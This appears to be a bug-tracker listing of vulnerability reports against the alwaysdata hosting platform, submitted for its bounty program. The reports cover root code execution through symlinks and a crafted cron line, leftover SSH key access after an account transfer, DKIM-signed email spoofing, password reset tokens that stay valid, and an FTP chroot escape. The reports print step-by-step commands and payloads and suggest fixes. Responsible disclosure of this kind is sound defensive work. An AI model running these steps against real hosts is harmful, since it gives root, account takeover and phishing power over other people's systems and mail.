 484  Arbitrary file write and code execution as root on shar ...Closed24.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
Arbitrary file write as uid 0 on the shared hosting nodes. Four privileged writers open a destination path inside a directory the customer owns, without O_NOFOLLOW, and the site fields "log_type", "log_file" and "log_format" let the customer choose both the destination and the content. This yields root code execution from a single HTTP request to the customer's own website.

Vulnerability Category: Remote Code Execution (RCE) / Horizontal and vertical privilege escalation / Local files access and manipulation, per the qualifying list on your bug bounty page.

Description:

Your control plane distributes per-account configuration to the fleet through the filesystem. Root processes on overlord-core and on the node write generated files into each customer's NFS-mounted home under ~/admin/.

Two of the directories in that path are owned or writable by the customer and neither carries the sticky bit, so the customer can move or delete the root-owned directories underneath and substitute their own.

/home/<account> is drwxrwx— root:<account>, and ~/admin/logs is drwxr-x— <account>:<account>, while its children logs/http and logs/sites are root:root.

rename(2) and unlink(2) require write and execute permission on the PARENT directory only. Therefore, an unprivileged customer can replace those root-owned children and can replace the whole ~/admin tree the same way.

Hardening the inner directories has no effect while their parent remains writable by the tenant.

Having taken control of the path, the customer plants a symlink where the privileged writer expects to write.

The writers open their destination with O_CREAT|O_APPEND and no O_NOFOLLOW, and do not unlink the destination first. They therefore follow the symlink and write to its target as uid 0.

For the HTTP access-log writer, the customer controls the content by selecting:

log_type=CUSTOM

This makes the site field log_format the access-log line format. It is free text with a maximum length of 1024, is not validated, and is emitted verbatim.

Path control plus content control therefore provides arbitrary root file creation and, from there, arbitrary root code execution.

Writing a crontab into /etc/cron.d/ produces a root shell within 60 seconds, and I obtained:

uid=0(root)

on the shared web node http22.

This is the same class as  FS#367 , which you fixed and paid, but it is a different mechanism.  FS#367  was argument injection into a sudo helper, and that helper is now correctly hardened.

Vulnerable Instances:

POST https://admin.alwaysdata.com/site/<id>/
fields: log_type, log_file, log_format

POST https://admin.alwaysdata.com/environment/ any change that causes configuration regeneration

~/admin/logs/http/<YYYY>/<log_file>-<date>.log
written by the shared front end as root

~/admin/logs/sites/<YYYY>/sites-<date>.log
written by the shared front end as root

~/admin/config/apache/sites.conf
written by "Updating Apache configuration" as root

~/admin/config/apache/apache.conf
same writer

~/admin/config/php/*.ini
regenerated root:root inside a replaced subtree

~/admin/logs/jobs/<YYYY>/<jobid>-<date>.log
written as root by the job command

The issue was reproduced on the web tier http22 and the SSH tier ssh2, which share /home over NFSv4.

Steps to Reproduce:

All steps run on vk7research, a free plan account I own. The starting state is a freshly provisioned free account with one site.

1. The precondition.

 The root-owned control tree sits inside directories the customer controls, with no sticky bit anywhere in the path.
 $ stat -c "%A %U:%G %n" ~ ~/admin ~/admin/logs
  1. > drwxrwx— root:vk7research /home/vk7research
  2. > drwxr-xr-x root:root /home/vk7research/admin
  3. > drwxr-x— vk7research:vk7research /home/vk7research/admin/logs
 $ ls -la ~/admin/logs/
  1. > drwxr-xr-x 3 root root 26 .. http
  2. > drwxr-xr-x 3 root root 26 .. sites
 Two root:root directories therefore exist inside a directory controlled by the account.

2. Take control of the destination path.

 $ mv ~/admin/logs/http ~/admin/logs/http.bak
 $ mkdir -p ~/admin/logs/http/2026
 Both commands succeed as the unprivileged account.

3. Plant the symlink under the filename the writer will open.

 The final path component comes from the site field log_file, so the name is known in advance.
 $ ln -s /etc/cron.d/l3root ~/admin/logs/http/2026/L3F-2026-09-20.log

4. Set the three site fields, authenticated as the ordinary account owner.

 POST https://admin.alwaysdata.com/site/1078598/
 Referer: https://admin.alwaysdata.com/site/1078598/
 csrfmiddlewaretoken=<tok>&log_type=CUSTOM&log_file=L3F
 &log_format=* * * * * root /bin/sh /home/vk7research/l3poc.sh
  1. > HTTP 302 (saved)

5. Issue ONE HTTP request to the customer's own website.

 The root writer creates the symlink target.
 $ curl -s https://vk7research.alwaysdata.net/ >/dev/null
 $ ls -la /etc/cron.d/l3root
  1. > -rw-r–r– 1 root root 48 Sep 20 07:36 /etc/cron.d/l3root
 $ cat -A /etc/cron.d/l3root
  1. > * * * * * root /bin/sh /home/vk7research/l3poc.sh$
 The cat -A output is exactly the submitted log_format value and is fully attacker controlled rather than being appended to an existing line.

6. Within 60 seconds cron executes it as root.

 The three commands below are the ones your rules specify for demonstrating root:
 $ id
  1. > uid=0(root) gid=0(root) groups=0(root)
 $ hostname
  1. > http22
 $ pwd
  1. > /root
 $ cat /proc/1/maps
  1. > 153 lines, 16495 bytes
 $ touch /root/vk7research ; ls -la /root/vk7research
  1. > -rw-r–r– 1 root root 0 Sep 20 07:37 /root/vk7research

7. Controls that rule out alternative explanations.

 a. Symlink following was isolated before any content control was attempted.
 A root:root file appeared at a path of my choosing using the config writer alone.
 b. A destination OUTSIDE the home, in a directory the tenant cannot write, confirms that the write is not merely occurring inside space I already own.
 /nfs/http22.root
 My UID receives Permission denied on it.
 $ ln -s /nfs/http22.paris1/ROOTWRITE_CANARY ~/admin/config/apache.conf
 (regenerate the Apache config)
 $ ls -la /nfs/http22.paris1/ROOTWRITE_CANARY
  1. > -rw-r–r– 1 root root 1254 Sep 20 07:39 /nfs/http22.paris1/ROOTWRITE_CANARY
 c. The destination is attacker-chosen and is resolved by the privileged writer.
 Pointing the same symlink into a directory that does not exist makes the platform task end in:
 Status: Failure
 instead of succeeding.
 /task/40446968/detail/ -> Failure
 (symlink target directory absent)
 /task/40447214/detail/ -> Completed
 (symlink target directory exists)
 d. This is a real uid 0 write on the node, not a root-squashed NFS write.
 A marker written to /tmp/L3ROOTPROBE-a1b2 is root:root on http22 and absent on ssh2, confirming that the write executes as root on the web node.
 e. The tenant cannot reach uid 0 through another route on these nodes.
 I checked:
 $ grep -E "NoNewPrivs|CapEff" /proc/self/status
  1. > NoNewPrivs: 1
  2. > CapEff: 0000000000000000
 sudo refuses over SSH entirely.
 $ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null | wc -l
  1. > 0
 There is no SUID or SGID binary anywhere on either node.
 $ sudo -n -l
  1. > (root) NOPASSWD: /alwaysdata/sbin/install_language_package
 That helper is the only grant and is properly fixed.
 I tested 14 injection variants, including command separators, quotes, LF, -o Dpkg::Pre-Invoke::= in both argument positions, arithmetic subscripts and relative source CWD hijacking. All returned rc=2 and wrote no marker.
 $ head -1 /proc/1/maps
  1. > head: cannot open '/proc/1/maps' for reading: No such file
 /proc is mounted with hidepid=invisible, so the 16,495-byte capture in step 6 is obtainable only as uid 0.
 f. Your own codebase contains the correct pattern, so this is an inconsistency rather than a design choice.
 The php_ini writer creates a fresh content-hashed file:
 php-<siteid>.ini
 A planted symlink there is replaced rather than followed, and that writer is NOT vulnerable.

Proof of Concept:

Steps 1 to 7 reproduce end to end with standard Linux tools and an ordinary authenticated session on a free plan account.

I executed the chain twice through two independent writers described in steps 3 to 6, and also reproduced the behaviour with the Apache configuration writer in control 7b, whose root-owned output landed outside my home directory.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did NOT read other customers' files, mail, databases or keys. The scale figures in the Impact section below come from directory link counts on the NFS export roots, without entering anyone else's directory.

* While I held uid 0, I did not touch /etc/passwd, /etc/shadow, /etc/sudoers, any authorized_keys file, and I installed no persistence. The only files I created are listed in the cleanup note accompanying this report.

* I did not test whether root on this client is root on the imap5 or backup2 NFS exports, so I make no claim about the mail or backup stores beyond noting the relevant shared infrastructure.

* /etc/cron.d/l3root was removed and its absence was verified over a five-minute window with no further executions.

* The genuine root:root ~/admin/logs/{http,sites} directories were restored.

* I noticed that /run/rpcbind.sock is mode srw-rw-rw- on both ssh2 and http22, which are NFS clients of the customer mail and backup estate. I did NOT touch it because doing so would be disruptive and your rules prohibit that. I mention it so you can audit it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Several short-lived SSH sessions were used during that window, and the connection rate guard began refusing them toward the end.

Impact:

Any customer on a free plan can obtain uid 0 on the shared node that hosts their website with one HTTP request to their own website.

No paid product, special permission or second account is required.

The scale is visible from metadata that a tenant can read directly. The NFS export roots under /nfs/ are drwxr-x–x root:root, so they cannot be listed, but their directory link counts expose the approximate number of per-account subdirectories each volume holds:

$ ls -la /nfs/

→ drwxr-x–x 6393 root root http21.paris1
approximately 6391 per-account directories

→ drwxr-x–x 8147 root root http22.paris1
approximately 8145 per-account directories

→ drwxr-x–x 6006 root root imap3.paris1
approximately 6004 per-account directories

→ drwxr-x–x 27750 root root imap5.paris1
approximately 27748 per-account directories

http22, the node where I obtained root, is itself the NFSv4 server for the home directories on /nfs/http22.paris1.

That is the directory where my test demonstrated a root-owned file could be created at a path my account could not otherwise write.

Every co-tenant home is also mounted on the node, as shown by the tenant's own mount table:

http22.paris1:/<account> on /home/<account> type …

/var/lib/extrausers/passwd, the node-wide NSS database, holds approximately 8,515 accounts.

What follows from uid 0 on a POSIX host with those mounts is direct filesystem authority over the files the node can reach, including directories belonging to co-located accounts.

The root writer chain therefore includes access to locations such as:

/etc/sudoers.d
/etc/passwd
/etc/shadow
authorized_keys

I am not inferring a capability that was not tested. The demonstrated capability is arbitrary file creation as uid 0, including outside the customer's own home, and the resulting root shell.

On the argument that "our clients can already execute anything they want using the shell":

That reasoning does not apply here.

This is the reasoning previously used to close  FS#347 ,  FS#449  and  FS#470 , and I tested it rather than assuming it away.

Control 7e shows that the tenant shell cannot reach uid 0 through the existing routes:

* NoNewPrivs is 1, so sudo refuses outright.
* CapEff is all zero.
* There is no SUID or SGID binary on either node.
* The single sudo grant is correctly validated.
* /proc is protected with hidepid.
* The write demonstrated in steps 5 and 6 happens as uid 0.

The gap between what a customer shell can do and what this vulnerability yields is the entire finding.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because the trigger is an authenticated HTTP request to admin.alwaysdata.com plus one request to the customer's own site.

AC:L because the sequence is deterministic once the account and site are available.

PR:L because a free account is required.

UI:N because no other person participates.

S:C because the vulnerable component is the control plane's configuration service while the impacted component is the operating system of a shared node and the accounts co-located on it.

C:H, I:H and A:H because uid 0 on that node has authority over the data, configuration and services accessible from the shared operating system environment.

If you prefer to score only what I directly exercised rather than the full authority conferred by uid 0, the demonstrated arbitrary root file creation in /etc is itself sufficient to establish a Critical impact.

Recommendation:

1. Do not store root-owned state inside a customer-writable directory.

 Move the ~/admin control tree outside /home/<account>, or make /home/<account> and ~/admin/logs non-writable by the tenant, or set the sticky bit so the tenant cannot rename or delete root-owned children.
 This closes the whole class and is the only fix that closes all four affected writers.

2. Open every generated destination with O_NOFOLLOW, and write via a fresh temporary file followed by an atomic rename(2) rather than opening an existing path.

 Your php_ini writer already uses the correct pattern, so that implementation can be reused.

3. Drop privileges to the account's UID for anything written inside the customer's home.

 None of these files needs to be created by uid 0.

4. Validate log_format.

 It is currently up to 1024 bytes of unvalidated text consumed by a root process, and this is what turns the arbitrary file write into code execution.
 Restrict it to the documented format directives.

5. Audit the other writers in the same service for the same ordering and symlink-following issue.

 I found four affected writers, and the jobs/<YYYY>/<jobid>-<date>.log writer additionally embeds job-controlled content, giving it the same content-control property as log_format.
 483  Account transfer leaves previous owner with permanent u ...Closed16.09.2026 Task Description

# alwaysdata — Account transfer leaves the previous owner with permanent, unrevocable SSH access

Researcher: (submit via security.alwaysdata.com task)
Target: https://admin.alwaysdata.com/ssh/ (panel) + ssh-<account>.alwaysdata.net
Severity: Critical (CVSS 3.1 ≈ 9.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Date: 2026-09-16

—

## Summary

An alwaysdata account can be transferred from one profile to another (`Transfers → Transfer a → account`).
When the account changes hands, the previous owner keeps full SSH shell access to it — provided they
planted an SSH public key while they still owned the account.

The key survives the ownership change, is not visible anywhere in the new owner's panel or in the API,
and keeps working after the new owner rotates the SSH user's password. The SSH user also cannot be
deleted
— the panel renders the delete control disabled with `title="Impossible deletion"` — so the new
owner has no way inside the platform to remove the previous owner's access.

Net effect: the new owner receives an account that a third party they know nothing about can still log
into, read, and write.

## Affected asset

- `https://admin.alwaysdata.com/transfer/` — account transfer flow
- `https://admin.alwaysdata.com/ssh/` and `https://admin.alwaysdata.com/ssh/<id>/` — SSH user management
- `ssh-<account>.alwaysdata.net` — SSH endpoint
- Underlying defect: `~/.ssh/authorized_keys` of the account's SSH user is account content that survives

the ownership change, while the management surface exposes only `name / password / home_directory /
shell / can_use_password / annotation` (verified against `https://api.alwaysdata.com/v1/ssh/doc/`).
There is **no field anywhere for SSH public keys**.

## Reproduction

Two accounts, both owned by me, on the same platform. No third-party data is involved.

Roles: A = the victim (new owner), B = the previous owner (`adsecb01`, account id 499971).

1. As B, add my SSH public key to the account's SSH user:

 ```
 ssh B@ssh-adsecb01.alwaysdata.net      # password login
 mkdir -p ~/.ssh && chmod 700 ~/.ssh
 echo "ssh-ed25519 AAAA...C1lZDI1NTE5AAAAI... stale-access-test" >> ~/.ssh/authorized_keys
 chmod 600 ~/.ssh/authorized_keys
 ```
 Verify key-only login works (no password):
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) gid=501971(adsecb01) groups=501971(adsecb01)
 ```

2. As B, transfer the account to A: `Transfers → Transfer a → account → new owner: A's email`.

 As **A**, accept it: `Transfers` → Accept → tick *Special conditions (shared hosting)* and
 *Terms of use* → Submit.
 → `Transfers` shows "No pending transfer" and A's `Subscriptions` now lists `adsecb01`.

3. The panel access of B is correctly revoked (B's account selector is empty, none of B's pages

 mention `adsecb01` any more) — **but the key still logs in**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) ...
 ```

4. A hardens the account the only way the panel allows: `SSH users → adsecb01 → set a new password →

 Submit`. The old password stops working:
 ```
 ssh B@ssh-adsecb01.alwaysdata.net   # password auth with the old password
 → Permission denied, please try again.
 ```
 …and the planted key **still works**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net "echo KEY_STILL_WORKS_AFTER_ROTATION"
 → KEY_STILL_WORKS_AFTER_ROTATION
 ```

5. There is no way for A to remove it from the panel:

  1. the `SSH users` row for `adsecb01` — the user whose name matches the account, i.e. the one carrying

the planted key — renders its delete control as

   `<i class="far fa-trash-alt disabled" alt="Impossible deletion" title="Impossible deletion"></i>`
   with **no delete link at all**, and this stays disabled even after A adds a second SSH user
   (`adsecb01_safe`), whose own delete link *is* active. So the primary SSH user cannot be removed by
   the owner, ever, through the panel;
 - `https://admin.alwaysdata.com/ssh/537923/` offers only *Name / Password / Home directory / Shell /
   Enable password-based login / Annotation* — no key management;
 - the `ssh` API resource (`https://api.alwaysdata.com/v1/ssh/doc/`) exposes `id, href, name, password,
   home_directory, shell, can_use_password, annotation` — no key-related field.
 The single remaining remediation is to log in over SSH and empty `~/.ssh/authorized_keys` by hand —
 which presupposes the new owner already knows a foreign key is there, and nothing in the client area,
 the transfer notification, the SSH user page or the API tells them that.

6. Proof of actual read/write on the new owner's data — A writes files, B reads/writes with the key only:

 ```
 # as A (new owner, with the rotated password)
 echo 'SECRET-OF-NEW-OWNER' > ~/newowner_private.txt
 echo 'NEW-OWNER-DEPLOYMENT' > ~/www/deployed_by_new_owner.html
 # as B (previous owner, no password, key only)
 cat ~/newowner_private.txt          → SECRET-OF-NEW-OWNER
 echo '<h1>PWNED-BY-PREVIOUS-OWNER</h1>' > ~/www/prev_owner_backdoor.html
 ```
 The planted file is served publicly from the new owner's domain:
 ```
 curl https://adsecb01.alwaysdata.net/prev_owner_backdoor.html
 → 200 <h1>PWNED-BY-PREVIOUS-OWNER</h1>
 ```

## Impact

A previous owner retains persistent, password-independent, panel-invisible shell access to an account
that now belongs to someone else. From that position they can read, modify or delete the new owner's files,
databases, mail configuration and deployed code; run arbitrary processes under the account; plant web
backdoors reachable over the account's public domain; and re-establish access at will.

The compromise is designed-in by the platform, not by user error: the new owner sees the SSH user, cannot
delete it ("Impossible deletion"), has no UI or API to inspect its authorized keys, and rotating the
password — the natural harden-after-receiving-an-account action — does not revoke the attacker's key.
Nothing in the client area signals that a third party still holds working credentials.

This is the same class as two reports you already fixed and paid:
-  FS#139  — *Session Persistence After Subdomain Reuse or Transfer Leads to Email Account Takeover*
-  FS#294  — *Persistent Owner Access Leads to Mailing Takeover After Domain Transfer*

Both relied on the same principle: an ownership change must terminate the previous owner's access.
The transfer of an account (rather than a subdomain or a mailing) still does not do that for SSH keys.

## Recommendation

1. On account transfer, revoke the previous owner's credentials: clear (or rotate) the account's SSH

 `authorized_keys`, and/or force regeneration of the account's SSH users and their passwords.

2. Expose SSH public keys as first-class objects (field on the SSH user, panel UI + `ssh` API resource)

 so the owner can see and delete every key that grants access.

3. Allow deleting/replacing the last SSH user (currently blocked as "Impossible deletion"), or at minimum

 allow clearing its authorized keys.

4. Notify the new owner when an account arrives with pre-existing SSH keys, and record a transfer-time

 event in `Logs` that lists the credentials that were active at handover.

## Notes on testing discipline

- All testing used two accounts I own; no other customer's data was accessed. The key, the files and the

web backdoor live on my own free-tier accounts and can be left in place for your retest.

- No automated scanners were used, no DoS, no third-party assets.

 481  Any account can send fully authenticated email as any @ ...Closed21.09.2026 Task Description

Assets: webmail.alwaysdata.com (in scope) and the account submission service smtp-<account>.alwaysdata.net:465/587 (documented sending path, reached from the in-scope ssh-<account>.alwaysdata.net session). The vulnerable components are alwaysdata's own mail infrastructure: their submission relays (smtpout1.paris1.alwaysdata.com), their DKIM signer (d=alwaysdata.net, s=default) and their SPF ranges.
Class: CWE-290 (authentication bypass by spoofing) / CWE-863 (incorrect authorization)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N — because the impact is on every receiving system that trusts alwaysdata's mail authentication

Summary

An account as cheap as Free can send email as any address in the alwaysdata.net domain — ceo@, support@, any name — and the platform relays and DKIM-signs it. The forgery is not cosmetic: it verifies.

- The webmail UI (webmail.alwaysdata.com, in scope) lets the user add an identity with an arbitrary email address, with no verification of ownership, and then offers that identity as a first-class sender in the compose From dropdown. A message sent this way is delivered with the forged From and a valid DKIM signature.
- The submission service (smtp-<account>.alwaysdata.net:465, documented as the standard sending path) accepts any envelope sender from an authenticated account and relays it the same way.
- Verified facts on the delivered messages: the platform's relay signs them with DKIM d=alwaysdata.net s=default covering the attacker-chosen From header; the sending relay is inside alwaysdata.net's own SPF range; and DMARC for alwaysdata.net is strict (aspf=s; adkim=s) with an exact domain match — so the forgery passes SPF, DKIM and DMARC at any policy-enforcing receiver.
- End-to-end DKIM verification — header and body hash — passes on bytes fetched from alwaysdata's own IMAP storage (the platform's own mail store, no third-party mailbox involved): `dkim.verify(…) == True`.

Impact: any customer (or any phished/compromised account, or anyone willing to spend a Free signup) can send email that receiving providers authenticate as genuinely sent by alwaysdata.net — phishing alwaysdata's own customers with, for example, "your hosting account is about to be suspended" notifications that carry valid authentication. The same primitive lets the platform's outbound infrastructure be abused for sending under its authenticated domain at will.

Reproduction A — through the in-scope webmail UI (no tools beyond a browser)

1. Log in at https://webmail.alwaysdata.com/ with any account.
2. Settings → Identities → Create. Enter any email address in the alwaysdata.net domain, e.g.:

     Display name: Alwaysdata Support
     Email:        ceo@alwaysdata.net
 The form accepts it and offers no ownership verification; the identity is saved and listed.

3. Compose a message. The From dropdown now contains "Alwaysdata Support ceo@alwaysdata.net" alongside the account's own address. Select it, address the message anywhere, and send.
4. The send result reports "Message sent successfully". The message is delivered with:

     From:            Alwaysdata Support <ceo@alwaysdata.net>
     Return-Path:     <ceo@alwaysdata.net>
     DKIM-Signature:  v=1; a=rsa-sha256; c=relaxed/relaxed;
                      d=alwaysdata.net; s=default; h=Date:Message-Id:Subject:To:From: ...

5. Cryptographic verification of the delivered message, performed on the bytes fetched from alwaysdata's own IMAP server (the platform's mail store):

     $ python3 -c "import dkim; print(dkim.verify(raw_message))"
     True
 Header signature and body hash both pass. In addition, alwaysdata's own inbound mail pipeline evaluated the forged message and recorded its verdict in the delivered headers:
     X-alwaysdata-Spam-Report: ... DMARC_POLICY_ALLOW [alwaysdata.net, quarantine]
                                - DMARC permit policy
     X-alwaysdata-Spam-Score: -4.87
 That is the platform's own DMARC evaluation accepting the forged mail for the alwaysdata.net domain (the negative score makes it less spam-like than ordinary mail). The full cycle was then reproduced independently from a clean state — identity removed, re-created through the same UI steps, a new message sent and verified again with the same results (`dkim.verify == True`, `DMARC_POLICY_ALLOW`, score -3.21). SPF: the delivering relay 2a00:b6e0:1:a022::1 is inside alwaysdata.net's own published range:
     $ dig +short TXT _spf.alwaysdata.com
     "v=spf1 ip4:185.31.40.0/22 ip4:188.72.70.0/24 ip4:78.142.219.0/24
             ip6:2a00:b6e0::/32 ..."
 alwaysdata.net's published policy:
     $ dig +short TXT _dmarc.alwaysdata.net
     "v=DMARC1; p=quarantine; sp=quarantine; aspf=s; adkim=s; ..."
 The From domain and the signing domain are both alwaysdata.net — an exact match — so strict alignment passes and the message satisfies DMARC. (The DKIM public key used for local verification: `dig +short TXT default._domainkey.alwaysdata.net`; the signature was additionally verified directly against it with `openssl dgst -sha256 -verify ... -> Verified OK`.)

Reproduction B — through the documented submission service (any script, any MUA)

1. Connect and authenticate with the account's own mailbox credentials (the service and hostname are documented at help.alwaysdata.com → "Configuring Thunderbird": smtp-<account>.alwaysdata.net, port 465):

     python3 -c '
     import smtplib,ssl
     c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
     s=smtplib.SMTP_SSL("smtp-zchill.alwaysdata.net",465,context=c)
     s.login("zchill@alwaysdata.net","<account password>")    # Authentication succeeded
     '

2. Envelope probes — the server accepts any sender, authenticated as the tester's own mailbox:

     MAIL FROM:<zchill@alwaysdata.net>       -> 250 OK
     MAIL FROM:<ceo@alwaysdata.net>          -> 250 OK
     MAIL FROM:<cbay@alwaysdata.com>         -> 250 OK
     MAIL FROM:<totally-random@example.org>  -> 250 OK
     (each RCPT → 250 Accepted; connection reset before DATA)
 The same probes succeed from an external machine on port 587 (STARTTLS), confirming the vector is not restricted to the platform's internal network.

3. A message composed with From: Alwaysdata Support ceo@alwaysdata.net and envelope ceo@alwaysdata.net, sent to the tester's own mailbox on the platform, is delivered and verifies exactly as in Reproduction A step 5.

Control (what the service does correctly): an unauthenticated session is refused at message acceptance:

     MAIL FROM:<ceo@alwaysdata.net> -> 250 OK
     RCPT TO:<...>                  -> 250 Accepted
     DATA                           -> 550 relay not permitted: you must be authenticated to send messages
 So this is not an open relay: the failure is that once authenticated, no sender ownership is enforced and the platform signs what it is given.

On "working as intended"

- If arbitrary senders were intended, the platform would not maintain strict DMARC (aspf=s; adkim=s) and a dedicated abuse contact for its own domain, and the webmail would not have an identities subsystem at all. The customer-facing way to send as a custom domain is to add the domain after verification; @alwaysdata.net is never a customer domain.
- The expectation that recipients can trust alwaysdata.net mail is the entire purpose of SPF, DKIM and DMARC here — this finding is a sender-authentication bypass of that trust, performed by any account the platform itself issues.
- The service performs one check correctly (authentication required) and fails the next (sender authorization), so the control gap is precise and fixable.

Suggested fix

1. Enforce sender authorization at submission: the authenticated mailbox may send only as its own address plus addresses of domains it verifiably owns (the panel's own domain-ownership validation is the right registry). Reject other envelope senders at MAIL FROM, and cross-check the From header.
2. Validate identity emails in the webmail against that same registry (or restrict identity creation to the account's own addresses).
3. Do not apply the alwaysdata.net DKIM signature to messages whose From: is not an authorized alwaysdata.net identity; align the signer with the sender-authorization decision.

 480  When a user requests a password reset token (Token #1)  ...Closed14.09.2026 Task Description

Vulnerability Title: Password Reset Token Lifecycle Failure: Previously Issued Tokens Remain Active After a New Reset Request

Severity: High (CVSS 7.4 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

CWE Classification:

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

CWE-384: Session Fixation / Improper Token Invalidation

Overview
When a user requests a password reset token (Token #1) and subsequently requests a second reset token (Token #2), the application fails to invalidate or revoke the first token. As evidenced by the provided email logs, both Token #1 and Token #2 remain active concurrently. This allows an attacker who captures or harvests an older email link to successfully bypass security controls and modify the user’s password even after newer reset tokens have been generated.

Detailed Explanation & Why It Is a Valid Bug
The Core Flaw (Token Lifecycle Mismanagement): Secure application design dictates that generating a new password reset request must instantly deprecate, expire, or invalidate any pre-existing unexpired tokens for that user account.

The Logic Breakdown: The backend handles token generation by inserting or updating a row without revoking prior active identifiers or anchoring validity strictly to the latest issuance context. As seen in the provided delivery logs, multiple valid reset URLs can exist simultaneously in an inbox.

Security Impact: If an attacker intercepts an initial password reset notification (via email logs, historical proxy caches, or referrer leaks), and the victim later requests a new link thinking they are safe, the old token remains fully functional. This breaks single-use and lifecycle expectations, enabling persistent unauthorized account takeover (ATO) vectors.

Steps to Reproduce
Initiate a password reset request for a target account to capture Token #1 via email.

Do not use the link immediately. Trigger a second password reset request for the same account to receive Token #2.

Take the older reset link corresponding to Token #1 and attempt to submit a new password through it.

Observe that the server accepts Token #1 successfully and changes the password, proving that generating a new token failed to invalidate the prior one.

CVSS v3.1 Vector String
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References & Bug Bounty Precedents
CWE-640 Definition: Weak Password Recovery Mechanism for Forgotten Password (Mitre Common Weakness Enumeration).

CVE-2026-53646: Recent vulnerability entry detailing application endpoints reusing existing password reset tokens instead of invalidating them on subsequent requests.

HackerOne / Community Disclosures: Real-world vulnerability write-ups addressing Password Reset Token Invalidation Failures, where failing to rotate or revoke predecessor tokens allows token harvesting and compromises incident response workflows.

Remediation
Immediate Token Revocation: Update the token generation controller logic so that any new request to /forgot-password automatically flags all existing active tokens for that user ID as expired or deletes them from the database.

Strict Single-Use Enforcement: Ensure tokens are strictly tied to a database state where issuance of a replacement row overwrites or invalidates historical tokens globally.

 479  FTP Root Directory Allows Chroot Escape and Server File ...Closed13.09.2026 Task Description

Summary

The FTP user creation functionality allows an attacker to bypass the configured FTP Root directory restriction by supplying a path containing directory traversal sequences such as ../../.

The FTP configuration page explicitly states:

“Parent directories of the root directory will be neither accessible nor visible.”

However, this restriction can be bypassed because the supplied path is accepted and stored without validating or normalizing traversal sequences.

For example, configuring the FTP root directory as:

../../

results in a stored path similar to:

/home/brake/../../

When the FTP user subsequently connects, the effective root resolves outside the account's home directory, allowing browsing of the server's filesystem, including directories such as /etc, /home, /nfs, /proc, and /tmp.

In my testing, I was also able to retrieve /etc/passwd and upload a file to /tmp.

Steps to Reproduce
1. Obtain a valid authenticated session

Set the required values:

COOKIE='csrftoken=YOUR_CSRF_COOKIE; sessionid=YOUR_SESSIONID'
BASE='https://admin.alwaysdata.com'
HOST='ftp-brake.alwaysdata.net'
PW='SomeStrongPassw0rd!'
2. Obtain a CSRF token
TOKEN=$(curl -s -H "Cookie: $COOKIE" "$BASE/ftp/add/" \

| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' \
| head -1 | cut -d'"' -f4)

echo "$TOKEN"
3. Create an FTP user using a traversal path

Create an FTP account with ../../ as its root directory:

curl -s -o /dev/null -w "%{http_code}\n" \

  1. H "Cookie: $COOKIE" \
  2. -data-urlencode "csrfmiddlewaretoken=$TOKEN" \
  3. -data-urlencode "name=brake_pwn" \
  4. -data-urlencode "password=$PW" \
  5. -data-urlencode "path=../../" \
  6. -data-urlencode "submit=" \

"$BASE/ftp/add/"

Observed result:

302

The request is accepted without validation or an error.

4. Confirm the traversal path was stored
curl -s -H "Cookie: $COOKIE" "$BASE/ftp/" \

| grep -o '/home/brake/[^<]*'

Observed value:

/home/brake/../../

This indicates that the traversal sequence is stored without being rejected or normalized.

5. Connect to the FTP service
curl -k –ssl-reqd \

"ftps://$HOST/" \
--user "brake_pwn:$PW"

Observed result:

Instead of being restricted to the intended FTP directory, the account can access the server filesystem, including:

/bin
/boot
/dev
/etc
/home
/nfs
/proc
/tmp
… 6. Demonstrate access to a server file

For example:

curl -k –ssl-reqd \

"ftps://$HOST/etc/passwd" \
--user "brake_pwn:$PW" | head -5

Observed result:

The server's /etc/passwd file is returned, exposing the system's local user list.

7. Demonstrate write access outside the account's home directory

I was also able to upload a file to /tmp:

echo "proof" > /tmp/p.txt

curl -k –ssl-reqd \

  1. T /tmp/p.txt \

"ftps://$HOST/tmp/" \

  1. -user "brake_pwn:$PW"

The upload completed successfully (226).

Security Impact

This issue defeats the advertised FTP directory isolation and allows an FTP account to escape its configured root directory.

Depending on filesystem permissions, an attacker may be able to:

Browse directories outside the FTP user's intended home.
Enumerate server filesystem structure.
Read globally accessible files such as /etc/passwd.
Discover internal infrastructure information under directories such as /nfs.
Write files to other globally writable locations such as /tmp.
Potentially obtain additional information about the hosting environment and other accounts.

What the Vulnerability Breaks

The core issue is that the FTP Root directory field is treated as trusted input.

A value such as:

../../

is accepted and stored relative to the account's home directory:

/home/<account>/../../

Without canonicalization and validation, the resulting path escapes the intended FTP root.

The application should ensure that the configured FTP root resolves to a directory within the intended account boundary and reject traversal sequences or absolute paths that escape that boundary.

Recommended Remediation

Validate and canonicalize the configured FTP root before saving it.

At minimum:

Resolve the submitted path to its canonical filesystem path.
Verify that the resolved path remains inside the account's allowed root/home directory.
Reject .. traversal and absolute paths that escape the allowed directory.
Apply the same validation server-side rather than relying only on client-side form validation.
Ideally, enforce the restriction at the FTP service/chroot configuration layer as a defense-in-depth measure.

CVSS 3.1 score I got: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

 478  Server-Side Validation Bypass Allows Account Registrati ...Closed12.09.2026 Task Description

## Summary

